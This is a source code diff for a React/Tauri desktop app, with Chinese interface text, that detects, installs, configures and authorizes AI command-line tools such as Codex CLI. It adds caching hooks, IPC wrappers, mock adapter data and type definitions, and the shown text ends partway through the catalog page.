仅从官方渠道下载,不静默安装;应用本身不提权。下载完成后会打开安装向导,你在向导里点完即装。
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
|
||||
function Footer({
|
||||
phase,
|
||||
source,
|
||||
onStart,
|
||||
onOpenPage,
|
||||
onClose,
|
||||
}: {
|
||||
phase: "preview" | "running" | "done" | "error" | "opened";
|
||||
source: RuntimeSource | null;
|
||||
onStart: () => void;
|
||||
onOpenPage: () => void;
|
||||
onClose: () => void;
|
||||
}) {
|
||||
const running = phase === "running";
|
||||
const finished = phase === "done" || phase === "opened";
|
||||
const failed = phase === "error";
|
||||
const canDirect = source?.direct_installable && source?.download_url;
|
||||
return (
|
||||
<>
|
||||
{(failed || !canDirect) && (
|
||||
<button type="button" className="btn btn-secondary" onClick={onOpenPage}>
|
||||
<ExternalLink size={14} strokeWidth={1.5} aria-hidden="true" /> 打开官方下载页
|
||||
</button>
|
||||
)}
|
||||
{finished ? (
|
||||
<button type="button" className="btn btn-primary" onClick={onClose}>
|
||||
完成
|
||||
</button>
|
||||
) : (
|
||||
<button type="button" className="btn btn-primary" onClick={onStart} disabled={running || !canDirect}>
|
||||
<Download size={14} strokeWidth={1.5} aria-hidden="true" /> {running ? "下载中…" : "下载并打开安装向导"}
|
||||
</button>
|
||||
)}
|
||||
</>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
import { useCallback, useEffect, useState } from "react";
|
||||
import { detectCliAll } from "../ipc";
|
||||
import type { DetectResult } from "../ipc/types";
|
||||
|
||||
export interface UseDetectAllResult {
|
||||
detectMap: Record<string, DetectResult>;
|
||||
loading: boolean;
|
||||
error: string | null;
|
||||
refresh: () => Promise<void>;
|
||||
}
|
||||
|
||||
// 检测结果本地缓存(Wave 2.2 Req 4):切换页面回来先用缓存立即渲染,
|
||||
// 后台静默刷新有变化再更新,不再每次重检重闪。
|
||||
let cachedMap: Record<string, DetectResult> | null = null;
|
||||
|
||||
/** 批量检测全部 CLI(总览/目录/我的 CLI 接真机状态) */
|
||||
export function useDetectAll(): UseDetectAllResult {
|
||||
const [detectMap, setDetectMap] = useState<Record<string, DetectResult>>(cachedMap ?? {});
|
||||
const [loading, setLoading] = useState(cachedMap == null);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
|
||||
const refresh = useCallback(async () => {
|
||||
try {
|
||||
const list = await detectCliAll();
|
||||
const map: Record<string, DetectResult> = {};
|
||||
for (const d of list) map[d.cli_id] = d;
|
||||
cachedMap = map;
|
||||
setDetectMap(map);
|
||||
setError(null);
|
||||
} catch (err) {
|
||||
setError(String(err));
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
void refresh();
|
||||
}, [refresh]);
|
||||
|
||||
return { detectMap, loading, error, refresh };
|
||||
}
|
||||
@@ -8,10 +8,13 @@ export interface UseEnvResult {
|
||||
error: string | null;
|
||||
}
|
||||
|
||||
/** 加载本机环境检测结果(一次性的只读快照) */
|
||||
// 本机环境本地缓存(Wave 2.2 Req 4):切换页面先用缓存立即渲染,后台静默刷新。
|
||||
let cachedEnv: PlatformEnv | null = null;
|
||||
|
||||
/** 加载本机环境检测结果(缓存优先 + 后台刷新) */
|
||||
export function useEnv(): UseEnvResult {
|
||||
const [env, setEnv] = useState<PlatformEnv | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [env, setEnv] = useState<PlatformEnv | null>(cachedEnv);
|
||||
const [loading, setLoading] = useState(cachedEnv == null);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -19,6 +22,7 @@ export function useEnv(): UseEnvResult {
|
||||
detectEnv()
|
||||
.then((e) => {
|
||||
if (!cancelled) {
|
||||
cachedEnv = e;
|
||||
setEnv(e);
|
||||
setLoading(false);
|
||||
}
|
||||
|
||||
@@ -3,15 +3,23 @@ import { invoke } from "@tauri-apps/api/core";
|
||||
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
|
||||
import type {
|
||||
Adapter,
|
||||
AuthFlowEvent,
|
||||
AuthStatus,
|
||||
CatalogEntry,
|
||||
CliAction,
|
||||
CliActionEvent,
|
||||
ConfigFormState,
|
||||
ConfigVerifyResult,
|
||||
ConnectionTestResult,
|
||||
DetectResult,
|
||||
DiagnosticReport,
|
||||
DryRunPlan,
|
||||
ModelListResult,
|
||||
PlatformEnv,
|
||||
RuntimeInstallEvent,
|
||||
RuntimeSource,
|
||||
SystemEnvReport,
|
||||
UpdateCheckResult,
|
||||
WriteResult,
|
||||
} from "./types";
|
||||
|
||||
@@ -33,6 +41,7 @@ export async function listCatalog(): Promise<CatalogEntry[]> {
|
||||
// ---- Wave 2:CLI 全链路 ----
|
||||
|
||||
export async function getAdapter(id: string): Promise<Adapter> {
|
||||
if (!isTauri()) return mockAdapter(id);
|
||||
return invoke<Adapter>("getAdapter", { id });
|
||||
}
|
||||
|
||||
@@ -41,19 +50,27 @@ export async function detectCli(id: string): Promise<DetectResult> {
|
||||
return invoke<DetectResult>("detectCli", { id });
|
||||
}
|
||||
|
||||
export async function detectCliAll(): Promise<DetectResult[]> {
|
||||
if (!isTauri()) return mockCatalog().map((c) => mockDetect(c.id));
|
||||
return invoke<DetectResult[]>("detectCliAll");
|
||||
}
|
||||
|
||||
export async function previewAction(
|
||||
id: string,
|
||||
action: CliAction,
|
||||
channel?: string,
|
||||
): Promise<DryRunPlan> {
|
||||
if (!isTauri()) return mockDryRun(id, action);
|
||||
return invoke<DryRunPlan>("previewAction", { id, action, channel });
|
||||
}
|
||||
|
||||
export async function runAction(id: string, action: CliAction, channel?: string): Promise<void> {
|
||||
if (!isTauri()) return;
|
||||
return invoke<void>("runAction", { id, action, channel });
|
||||
}
|
||||
|
||||
export async function readConfig(id: string): Promise<ConfigFormState> {
|
||||
if (!isTauri()) return mockConfig(id);
|
||||
return invoke<ConfigFormState>("readConfig", { id });
|
||||
}
|
||||
|
||||
@@ -61,18 +78,113 @@ export async function writeConfig(
|
||||
id: string,
|
||||
patch: Record<string, string>,
|
||||
): Promise<WriteResult> {
|
||||
if (!isTauri()) return { backup_path: null, written_file: "~/.codex/config.toml", written_fields: Object.keys(patch), errors: [] };
|
||||
return invoke<WriteResult>("writeConfig", { id, patch });
|
||||
}
|
||||
|
||||
export async function verifyConfig(id: string): Promise<ConfigVerifyResult> {
|
||||
if (!isTauri()) {
|
||||
return {
|
||||
cli_id: id,
|
||||
ok: true,
|
||||
level: "config_parsed",
|
||||
message_zh: "配置文件已写入且可解析;CLI 未安装,未做 CLI 实际校验(以官方文档为准)。",
|
||||
detail: null,
|
||||
};
|
||||
}
|
||||
return invoke<ConfigVerifyResult>("verifyConfig", { id });
|
||||
}
|
||||
|
||||
export async function authStatus(id: string): Promise<AuthStatus> {
|
||||
if (!isTauri()) return mockAuth(id);
|
||||
return invoke<AuthStatus>("authStatus", { id });
|
||||
}
|
||||
|
||||
export async function diagnose(id: string): Promise<DiagnosticReport> {
|
||||
if (!isTauri()) return { cli_id: id, findings: [] };
|
||||
return invoke<DiagnosticReport>("diagnose", { id });
|
||||
}
|
||||
|
||||
export async function diagnoseAll(): Promise<DiagnosticReport[]> {
|
||||
if (!isTauri()) return [];
|
||||
return invoke<DiagnosticReport[]>("diagnoseAll");
|
||||
}
|
||||
|
||||
/** 系统环境诊断(Wave 3.1 Req 7):检查缺失/过低的系统依赖,标注影响哪些 CLI。 */
|
||||
export async function diagnoseSystem(): Promise<SystemEnvReport> {
|
||||
if (!isTauri()) return { findings: [] };
|
||||
return invoke<SystemEnvReport>("diagnoseSystem");
|
||||
}
|
||||
|
||||
/** 「可更新」判定(Wave 3.1 Req 4):官方源最新版本 vs 本地已装版本。 */
|
||||
export async function checkUpdate(id: string): Promise<UpdateCheckResult> {
|
||||
if (!isTauri()) return { cli_id: id, current: null, latest: null, update_available: false, source_zh: "官方源", source_url: "", error: null };
|
||||
return invoke<UpdateCheckResult>("checkUpdate", { id });
|
||||
}
|
||||
|
||||
/** 模型列表(Wave 3.1 Req 5)。 */
|
||||
export async function listModels(id: string): Promise<ModelListResult> {
|
||||
if (!isTauri()) return { cli_id: id, models: [], source: "empty", detail_zh: "" };
|
||||
return invoke<ModelListResult>("listModels", { id });
|
||||
}
|
||||
|
||||
/** 测试连通(Wave 3.1 Req 5):密钥从密钥库读取直连官方接口。 */
|
||||
export async function testConnection(id: string): Promise<ConnectionTestResult> {
|
||||
if (!isTauri()) return { cli_id: id, ok: false, message_zh: "浏览器预览模式不支持测试连通", http_status: null, detail: null };
|
||||
return invoke<ConnectionTestResult>("testConnection", { id });
|
||||
}
|
||||
|
||||
/** 用系统默认浏览器打开外链(Wave 3.1 Req 8)。 */
|
||||
export async function openExternal(url: string): Promise<void> {
|
||||
if (!isTauri()) {
|
||||
window.open(url, "_blank", "noopener,noreferrer");
|
||||
return;
|
||||
}
|
||||
return invoke<void>("openExternal", { url });
|
||||
}
|
||||
|
||||
/** 软件内授权:启动指定模式的授权流程(事件经 cli-auth-event 流式回传)。 */
|
||||
export async function authorize(id: string, mode: string): Promise<void> {
|
||||
if (!isTauri()) return;
|
||||
return invoke<void>("authorize", { id, mode });
|
||||
}
|
||||
|
||||
export async function cancelAuthorize(id: string, mode: string): Promise<void> {
|
||||
if (!isTauri()) return;
|
||||
return invoke<void>("cancelAuthorize", { id, mode });
|
||||
}
|
||||
|
||||
/** 订阅授权流程事件(cli-auth-event)。 */
|
||||
export async function onCliAuth(
|
||||
handler: (payload: AuthFlowEvent) => void,
|
||||
): Promise<UnlistenFn> {
|
||||
if (!isTauri()) return () => {};
|
||||
return listen<AuthFlowEvent>("cli-auth-event", (e) => handler(e.payload));
|
||||
}
|
||||
|
||||
/** 本机环境运行时安装(预览/一键安装/官网兜底)。 */
|
||||
export async function previewRuntimeInstall(runtime: string): Promise<RuntimeSource> {
|
||||
if (!isTauri()) return mockRuntimeSource(runtime);
|
||||
return invoke<RuntimeSource>("previewRuntimeInstall", { runtime });
|
||||
}
|
||||
|
||||
export async function installRuntime(runtime: string): Promise<void> {
|
||||
if (!isTauri()) return;
|
||||
return invoke<void>("installRuntime", { runtime });
|
||||
}
|
||||
|
||||
export async function openRuntimePage(runtime: string): Promise<void> {
|
||||
if (!isTauri()) return;
|
||||
return invoke<void>("openRuntimePage", { runtime });
|
||||
}
|
||||
|
||||
export async function onRuntimeInstall(
|
||||
handler: (payload: RuntimeInstallEvent) => void,
|
||||
): Promise<UnlistenFn> {
|
||||
if (!isTauri()) return () => {};
|
||||
return listen<RuntimeInstallEvent>("runtime-install-event", (e) => handler(e.payload));
|
||||
}
|
||||
|
||||
/** 订阅 runAction 的流式事件(cli-action-event)。返回取消订阅函数。 */
|
||||
export async function onCliAction(
|
||||
handler: (payload: CliActionEvent) => void,
|
||||
@@ -136,3 +248,110 @@ const mockPlatformEnv = (): PlatformEnv => ({
|
||||
path_entries: ["C:\\Windows\\system32", "C:\\Windows", "C:\\Program Files\\nodejs"],
|
||||
capabilities: { keyring: "ok", can_elevate: false },
|
||||
});
|
||||
|
||||
const mockAdapter = (id: string): Adapter => ({
|
||||
id,
|
||||
name: "Codex CLI",
|
||||
name_zh: "Codex CLI",
|
||||
vendor: "OpenAI",
|
||||
status: "available",
|
||||
adapter_version: "1.1.0",
|
||||
license: "Apache-2.0",
|
||||
platforms: {
|
||||
windows: { architectures: ["x64"], notes: "原生支持(PowerShell 脚本安装)" },
|
||||
linux: { distributions: ["ubuntu"], architectures: ["x64"] },
|
||||
},
|
||||
official: {
|
||||
homepage: "https://github.com/openai/codex",
|
||||
docs: "https://learn.chatgpt.com/docs/codex/cli",
|
||||
allowed_hosts: ["chatgpt.com"],
|
||||
},
|
||||
runtime_deps: [],
|
||||
install: {
|
||||
preferred: "npm",
|
||||
channels: [
|
||||
{ id: "npm", platforms: ["windows", "linux"], command: ["npm", "install", "-g", "@openai/codex"], package: "@openai/codex", elevate: "never", post_checks: ["detect"] },
|
||||
],
|
||||
},
|
||||
detect: { executable: "codex", version_args: ["--version"], version_regex: "^codex-cli (\\d+\\.\\d+\\.\\d+)", version_unconfirmed: true },
|
||||
update: { method: "npm_update", command: ["npm", "update", "-g", "@openai/codex"] },
|
||||
uninstall: { method: "npm_uninstall", command: ["npm", "uninstall", "-g", "@openai/codex"], keep_config_default: true },
|
||||
authorization: {
|
||||
modes: [
|
||||
{ mode: "browser_oauth", command: ["codex", "login"], status_command: ["codex", "login", "status"], notes_zh: "浏览器登录 ChatGPT 账号" },
|
||||
{ mode: "device_code", command: ["codex", "login", "--device-auth"], notes_zh: "设备码登录" },
|
||||
{ mode: "api_key", command: ["codex", "login", "--with-api-key"], env_keys: ["OPENAI_API_KEY"], notes_zh: "API Key 经 stdin 注入" },
|
||||
],
|
||||
},
|
||||
configuration: {
|
||||
files: [{ path: "~/.codex/config.toml", format: "toml", scope: "user" }],
|
||||
environment: [{ key: "OPENAI_API_KEY", sensitive: true, maps_to_field: "api_key" }],
|
||||
fields: [
|
||||
{ id: "model", label_zh: "默认模型", help_zh: "官方键 model,如 gpt-5.6-terra", type: "string", storage: "file", docs_url: "https://learn.chatgpt.com/docs/config-file/config-basic" },
|
||||
{ id: "approval_policy", label_zh: "审批策略", help_zh: "官方键 approval_policy", type: "enum", storage: "file", docs_url: "https://learn.chatgpt.com/docs/config-file/config-basic", options: [{ value: "untrusted", label_zh: "不信任(全部确认)" }, { value: "on-failure", label_zh: "失败时确认" }, { value: "never", label_zh: "永不确认" }] },
|
||||
{ id: "openai_base_url", label_zh: "Base URL", help_zh: "官方简化键 openai_base_url", type: "url", storage: "file", docs_url: "https://learn.chatgpt.com/docs/config-file/config-advanced" },
|
||||
{ id: "api_key", label_zh: "API Key", help_zh: "存入系统密钥库(对应 OPENAI_API_KEY)", sensitive: true, type: "string", storage: "keyring", docs_url: "https://learn.chatgpt.com/docs/config-file/config-advanced" },
|
||||
],
|
||||
},
|
||||
documentation: {
|
||||
quickstart_zh: "安装后运行 `codex` 登录,或用 `codex exec \"任务\"` 无头执行。",
|
||||
install_zh: "推荐 `npm install -g @openai/codex`;也可走官方 PowerShell 脚本或 GitHub Releases 二进制。",
|
||||
auth_zh: "三种授权:浏览器登录、设备码、API Key。",
|
||||
commands: [
|
||||
{ cmd: "codex", desc_zh: "启动交互式会话" },
|
||||
{ cmd: "codex exec \"提示词\"", desc_zh: "无头单次执行" },
|
||||
{ cmd: "codex exec --json \"提示词\"", desc_zh: "JSONL 事件流输出" },
|
||||
{ cmd: "codex exec --output-schema <schema>", desc_zh: "约束输出 JSON Schema" },
|
||||
{ cmd: "codex exec -o 文件", desc_zh: "输出写入文件" },
|
||||
{ cmd: "codex exec --sandbox", desc_zh: "沙箱执行" },
|
||||
{ cmd: "codex login", desc_zh: "浏览器登录" },
|
||||
{ cmd: "codex login status", desc_zh: "查询登录状态" },
|
||||
],
|
||||
params: [
|
||||
{ param: "--json", desc_zh: "JSONL 事件流输出" },
|
||||
{ param: "--output-schema", desc_zh: "约束输出 JSON Schema" },
|
||||
{ param: "-o / --output", desc_zh: "输出写入文件" },
|
||||
{ param: "--ephemeral", desc_zh: "临时会话" },
|
||||
{ param: "--sandbox", desc_zh: "沙箱执行" },
|
||||
],
|
||||
updated_at: "2026-08-25",
|
||||
risks_zh: ["--version 官方文档未确认,适配器已标 version_unconfirmed 并实测兜底"],
|
||||
},
|
||||
});
|
||||
|
||||
const mockConfig = (id: string): ConfigFormState => ({
|
||||
cli_id: id,
|
||||
files: [{ path: "~/.codex/config.toml", format: "toml", scope: "user", exists: false, parse_ok: true, error: null }],
|
||||
fields: [
|
||||
{ id: "model", label_zh: "默认模型", help_zh: "官方键 model,如 gpt-5.6-terra", required: false, sensitive: false, field_type: "string", storage: "file", value: null, has_value: false, docs_url: "https://learn.chatgpt.com/docs/config-file/config-basic", options: [], env_key: null, group: "common" },
|
||||
{ id: "approval_policy", label_zh: "审批策略", help_zh: "官方键 approval_policy", required: false, sensitive: false, field_type: "enum", storage: "file", value: null, has_value: false, docs_url: "https://learn.chatgpt.com/docs/config-file/config-basic", options: [{ value: "untrusted", label_zh: "不信任(全部确认)" }, { value: "on-failure", label_zh: "失败时确认" }, { value: "never", label_zh: "永不确认" }], env_key: null, group: "advanced" },
|
||||
{ id: "openai_base_url", label_zh: "Base URL", help_zh: "官方简化键 openai_base_url", required: false, sensitive: false, field_type: "url", storage: "file", value: null, has_value: false, docs_url: "https://learn.chatgpt.com/docs/config-file/config-advanced", options: [], env_key: null, group: "advanced" },
|
||||
{ id: "api_key", label_zh: "API Key", help_zh: "存入系统密钥库(对应 OPENAI_API_KEY)", required: false, sensitive: true, field_type: "string", storage: "keyring", value: null, has_value: false, docs_url: "https://learn.chatgpt.com/docs/config-file/config-advanced", options: [], env_key: "OPENAI_API_KEY", group: "auth" },
|
||||
],
|
||||
environment: [{ key: "OPENAI_API_KEY", sensitive: true, maps_to_field: "api_key" }],
|
||||
auth_modes: [
|
||||
{ mode: "browser_oauth", notes_zh: "浏览器登录 ChatGPT 账号(需订阅计划)", command: ["codex", "login"] },
|
||||
{ mode: "device_code", notes_zh: "设备码登录,不弹浏览器", command: ["codex", "login", "--device-auth"] },
|
||||
{ mode: "api_key", notes_zh: "API Key 从系统密钥库读取,经 stdin 注入", command: [] },
|
||||
],
|
||||
});
|
||||
|
||||
const mockDryRun = (_id: string, action: CliAction): DryRunPlan => ({
|
||||
commands: action === "install" ? [["npm", "install", "-g", "@openai/codex"]] : [["npm", "uninstall", "-g", "@openai/codex"]],
|
||||
elevate: false,
|
||||
elevate_reason_zh: null,
|
||||
affected_files: ["~/.codex/config.toml"],
|
||||
rollback_zh: action === "install" ? "可执行卸载命令回退;配置文件默认保留。" : "卸载默认保留配置,可重新安装恢复。",
|
||||
});
|
||||
|
||||
const mockRuntimeSource = (runtime: string): RuntimeSource => ({
|
||||
runtime,
|
||||
label_zh: runtime === "node" ? "Node.js" : runtime === "python" ? "Python" : "Git",
|
||||
download_url: "https://nodejs.org/dist/v22.14.0/node-v22.14.0-x64.msi",
|
||||
download_page: "https://nodejs.org/en/download",
|
||||
size_approx: "约 31 MB",
|
||||
elevate_needed: true,
|
||||
allowed_hosts: ["nodejs.org"],
|
||||
direct_installable: true,
|
||||
source_label: "官方来源",
|
||||
});
|
||||
|
||||
@@ -97,6 +97,15 @@ export interface ConfigFieldState {
|
||||
storage: string;
|
||||
value: string | null;
|
||||
has_value: boolean;
|
||||
docs_url: string | null;
|
||||
options: ConfigFieldOption[];
|
||||
env_key: string | null;
|
||||
group: "auth" | "common" | "advanced" | string;
|
||||
}
|
||||
|
||||
export interface ConfigFieldOption {
|
||||
value: string;
|
||||
label_zh: string;
|
||||
}
|
||||
|
||||
export interface ConfigFileState {
|
||||
@@ -119,6 +128,13 @@ export interface ConfigFormState {
|
||||
files: ConfigFileState[];
|
||||
fields: ConfigFieldState[];
|
||||
environment: EnvFieldState[];
|
||||
auth_modes: AuthModeInfo[];
|
||||
}
|
||||
|
||||
export interface AuthModeInfo {
|
||||
mode: string;
|
||||
notes_zh: string | null;
|
||||
command: string[];
|
||||
}
|
||||
|
||||
export interface WriteResult {
|
||||
@@ -128,6 +144,14 @@ export interface WriteResult {
|
||||
errors: string[];
|
||||
}
|
||||
|
||||
export interface ConfigVerifyResult {
|
||||
cli_id: string;
|
||||
ok: boolean;
|
||||
level: "cli_accepted" | "config_parsed" | "config_parse_failed" | "not_installed";
|
||||
message_zh: string;
|
||||
detail: string | null;
|
||||
}
|
||||
|
||||
export interface DryRunPlan {
|
||||
commands: string[][];
|
||||
elevate: boolean;
|
||||
@@ -141,6 +165,7 @@ export type ActionEventKind = "step" | "stdout" | "stderr" | "done" | "error";
|
||||
export interface ActionEvent {
|
||||
kind: ActionEventKind;
|
||||
message: string;
|
||||
phase: string | null;
|
||||
data: unknown;
|
||||
}
|
||||
|
||||
@@ -161,6 +186,99 @@ export interface DiagnosticReport {
|
||||
findings: DiagnosticFinding[];
|
||||
}
|
||||
|
||||
// ---- Wave 2.2:错误人话化 / 授权流程 / 运行时安装 ----
|
||||
|
||||
export interface ErrorHint {
|
||||
code: string;
|
||||
friendly_zh: string;
|
||||
raw: string;
|
||||
missing_runtime: string | null;
|
||||
}
|
||||
|
||||
export type AuthFlowKind = "started" | "line" | "device_code" | "waiting" | "done" | "error" | "cancelled";
|
||||
|
||||
export interface AuthFlowEvent {
|
||||
cli_id: string;
|
||||
mode: string;
|
||||
kind: AuthFlowKind;
|
||||
message: string;
|
||||
user_code: string | null;
|
||||
verification_url: string | null;
|
||||
authorized: boolean | null;
|
||||
}
|
||||
|
||||
export interface RuntimeSource {
|
||||
runtime: string;
|
||||
label_zh: string;
|
||||
download_url: string | null;
|
||||
download_page: string;
|
||||
size_approx: string;
|
||||
elevate_needed: boolean;
|
||||
allowed_hosts: string[];
|
||||
direct_installable: boolean;
|
||||
source_label: string;
|
||||
}
|
||||
|
||||
export type RuntimeInstallPhase =
|
||||
| "validate"
|
||||
| "download"
|
||||
| "open"
|
||||
| "done"
|
||||
| "error"
|
||||
| "opened_page";
|
||||
|
||||
export interface RuntimeInstallEvent {
|
||||
runtime: string;
|
||||
phase: RuntimeInstallPhase;
|
||||
message: string;
|
||||
fallback?: boolean;
|
||||
}
|
||||
|
||||
// ---- Wave 3.1:可更新判定 / 模型列表 / 测试连通 / 系统环境诊断 ----
|
||||
|
||||
export interface UpdateCheckResult {
|
||||
cli_id: string;
|
||||
current: string | null;
|
||||
latest: string | null;
|
||||
update_available: boolean;
|
||||
source_zh: string;
|
||||
source_url: string;
|
||||
error: string | null;
|
||||
}
|
||||
|
||||
export interface ModelInfo {
|
||||
id: string;
|
||||
label_zh: string | null;
|
||||
}
|
||||
|
||||
export interface ModelListResult {
|
||||
cli_id: string;
|
||||
models: ModelInfo[];
|
||||
source: string;
|
||||
detail_zh: string;
|
||||
}
|
||||
|
||||
export interface ConnectionTestResult {
|
||||
cli_id: string;
|
||||
ok: boolean;
|
||||
message_zh: string;
|
||||
http_status: number | null;
|
||||
detail: string | null;
|
||||
}
|
||||
|
||||
export interface SystemEnvFinding {
|
||||
runtime_id: string;
|
||||
label_zh: string;
|
||||
status: string;
|
||||
version: string | null;
|
||||
affected_cli: string[];
|
||||
message_zh: string;
|
||||
}
|
||||
|
||||
export interface SystemEnvReport {
|
||||
findings: SystemEnvFinding[];
|
||||
}
|
||||
|
||||
// ---- 适配器完整定义(getAdapter 返回,detail 页展示用) ----
|
||||
|
||||
export interface AdapterChannel {
|
||||
@@ -186,7 +304,7 @@ export interface Adapter {
|
||||
windows?: { architectures?: string[]; notes?: string | null } | null;
|
||||
linux?: { distributions?: string[]; architectures?: string[]; min_ubuntu?: string | null } | null;
|
||||
} | null;
|
||||
official?: { homepage?: string | null; docs?: string | null; allowed_hosts?: string[] } | null;
|
||||
official?: { homepage?: string | null; docs?: string | null; icon?: string | null; allowed_hosts?: string[] } | null;
|
||||
runtime_deps?: { id: string; semver_range?: string | null; required_for?: string[] }[];
|
||||
install?: { preferred?: string | null; channels: AdapterChannel[] } | null;
|
||||
detect?: {
|
||||
@@ -196,7 +314,7 @@ export interface Adapter {
|
||||
version_unconfirmed?: boolean | null;
|
||||
path_hints?: string[];
|
||||
} | null;
|
||||
update?: { method?: string | null; command?: string[] } | null;
|
||||
update?: { method?: string | null; command?: string[]; source?: { kind: string; package?: string | null; repo?: string | null } | null } | null;
|
||||
uninstall?: { method?: string | null; command?: string[]; keep_config_default?: boolean } | null;
|
||||
authorization?: {
|
||||
modes: {
|
||||
@@ -206,6 +324,12 @@ export interface Adapter {
|
||||
status_command?: string[];
|
||||
notes_zh?: string | null;
|
||||
}[];
|
||||
credential_files?: string[];
|
||||
test?: { url: string; key_header?: string | null; bearer?: boolean; extra_headers?: string[] } | null;
|
||||
} | null;
|
||||
models?: {
|
||||
command?: string[];
|
||||
list?: { id: string; label_zh?: string | null }[];
|
||||
} | null;
|
||||
configuration?: {
|
||||
files: { path: string; format: string; scope?: string | null }[];
|
||||
@@ -220,11 +344,16 @@ export interface Adapter {
|
||||
storage: string;
|
||||
platforms?: string[];
|
||||
docs_url?: string | null;
|
||||
options?: { value: string; label_zh: string }[];
|
||||
group?: string | null;
|
||||
}[];
|
||||
} | null;
|
||||
documentation?: {
|
||||
quickstart_zh?: string | null;
|
||||
install_zh?: string | null;
|
||||
auth_zh?: string | null;
|
||||
commands?: { cmd: string; desc_zh?: string | null }[];
|
||||
params?: { param: string; desc_zh?: string | null }[];
|
||||
updated_at?: string | null;
|
||||
risks_zh?: string[];
|
||||
} | null;
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import React from "react";
|
||||
import ReactDOM from "react-dom/client";
|
||||
import App from "./App";
|
||||
import { ErrorBoundary } from "./components/ErrorBoundary";
|
||||
|
||||
// 设计 Token(视觉规范 v1.2,唯一品味依据)
|
||||
import "./tokens/color.css";
|
||||
@@ -25,6 +26,8 @@ applyFxTier();
|
||||
|
||||
ReactDOM.createRoot(document.getElementById("root")!).render(
|
||||
<React.StrictMode>
|
||||
<App />
|
||||
<ErrorBoundary>
|
||||
<App />
|
||||
</ErrorBoundary>
|
||||
</React.StrictMode>,
|
||||
);
|
||||
|
||||
@@ -1,8 +1,12 @@
|
||||
import { useMemo, useState } from "react";
|
||||
import { useEffect, useMemo, useState } from "react";
|
||||
import { Search } from "lucide-react";
|
||||
import { useCatalog } from "../hooks/useCatalog";
|
||||
import { useDetectAll } from "../hooks/useDetectAll";
|
||||
import { checkUpdate } from "../ipc";
|
||||
import type { UpdateCheckResult } from "../ipc/types";
|
||||
import { StatusBadge } from "../components/StatusBadge";
|
||||
import { CliMonogram } from "../components/CliMonogram";
|
||||
import { MonoChip } from "../components/MonoChip";
|
||||
|
||||
type StatusFilter = "all" | "installed" | "uninstalled" | "update";
|
||||
type PlatformFilter = "all" | "windows" | "linux";
|
||||
@@ -20,12 +24,46 @@ const PLATFORM_FILTERS: { key: PlatformFilter; label: string }[] = [
|
||||
{ key: "linux", label: "Linux" },
|
||||
];
|
||||
|
||||
/** CLI 目录页(视觉规范 §3.2 + PRD §7):搜索 + 筛选 + 14 张卡片(数据来自 catalog.yaml) */
|
||||
/** CLI 目录页(视觉规范 §3.2 + PRD §7):搜索 + 筛选 + 14 张卡片(数据来自 catalog.yaml + 真机 detect + 官方源可更新判定) */
|
||||
export function CatalogPage({ onOpenDetail }: { onOpenDetail: (id: string) => void }) {
|
||||
const { entries, loading, error } = useCatalog();
|
||||
const { detectMap, loading: detecting } = useDetectAll();
|
||||
const [query, setQuery] = useState("");
|
||||
const [status, setStatus] = useState<StatusFilter>("all");
|
||||
const [platform, setPlatform] = useState<PlatformFilter>("all");
|
||||
const [updates, setUpdates] = useState<Record<string, UpdateCheckResult>>({});
|
||||
const [checkingUpdates, setCheckingUpdates] = useState(false);
|
||||
|
||||
// 「可更新」筛选:仅当用户点选时才对已装工具查询官方源最新版本(Wave 3.1 Req 4)
|
||||
useEffect(() => {
|
||||
if (status !== "update" || checkingUpdates) return;
|
||||
let cancelled = false;
|
||||
setCheckingUpdates(true);
|
||||
const installedIds = entries.filter((e) => detectMap[e.id]?.status === "installed").map((e) => e.id);
|
||||
Promise.all(
|
||||
installedIds.map(async (id) => {
|
||||
try {
|
||||
return await checkUpdate(id);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}),
|
||||
)
|
||||
.then((results) => {
|
||||
if (cancelled) return;
|
||||
const m: Record<string, UpdateCheckResult> = {};
|
||||
results.forEach((r, i) => {
|
||||
if (r) m[installedIds[i]] = r;
|
||||
});
|
||||
setUpdates(m);
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setCheckingUpdates(false);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [status, entries, detectMap, checkingUpdates]);
|
||||
|
||||
const filtered = useMemo(() => {
|
||||
const q = query.trim().toLowerCase();
|
||||
@@ -34,14 +72,17 @@ export function CatalogPage({ onOpenDetail }: { onOpenDetail: (id: string) => vo
|
||||
const haystack = `${e.name_zh} ${e.name} ${e.vendor} ${e.id}`.toLowerCase();
|
||||
if (!haystack.includes(q)) return false;
|
||||
}
|
||||
// Wave 0:14 个均为未安装;已安装/可更新筛选结果为空(诚实占位)
|
||||
if (status === "installed") return false;
|
||||
if (status === "update") return false;
|
||||
const installed = detectMap[e.id]?.status === "installed";
|
||||
// 状态筛选:接真机 detect 结果
|
||||
if (status === "installed" && !installed) return false;
|
||||
if (status === "uninstalled" && installed) return false;
|
||||
// 可更新:官方源最新版本 vs 本地已装版本(真实数据,Wave 3.1 Req 4)
|
||||
if (status === "update") return updates[e.id]?.update_available === true;
|
||||
// 平台:全部 14 个均支持 Windows + Ubuntu(调研底稿结论),筛选不改变集合
|
||||
if (platform === "windows" || platform === "linux") return true;
|
||||
return true;
|
||||
});
|
||||
}, [entries, query, status, platform]);
|
||||
}, [entries, query, status, platform, detectMap, updates]);
|
||||
|
||||
return (
|
||||
<div className="catalog">
|
||||
@@ -86,36 +127,54 @@ export function CatalogPage({ onOpenDetail }: { onOpenDetail: (id: string) => vo
|
||||
{loading && !error && <p className="panel-empty">目录加载中…</p>}
|
||||
|
||||
<div className="catalog-grid">
|
||||
{filtered.map((entry) => (
|
||||
<article
|
||||
className="catalog-card"
|
||||
key={entry.id}
|
||||
role="button"
|
||||
tabIndex={0}
|
||||
onClick={() => onOpenDetail(entry.id)}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === "Enter" || e.key === " ") {
|
||||
e.preventDefault();
|
||||
onOpenDetail(entry.id);
|
||||
}
|
||||
}}
|
||||
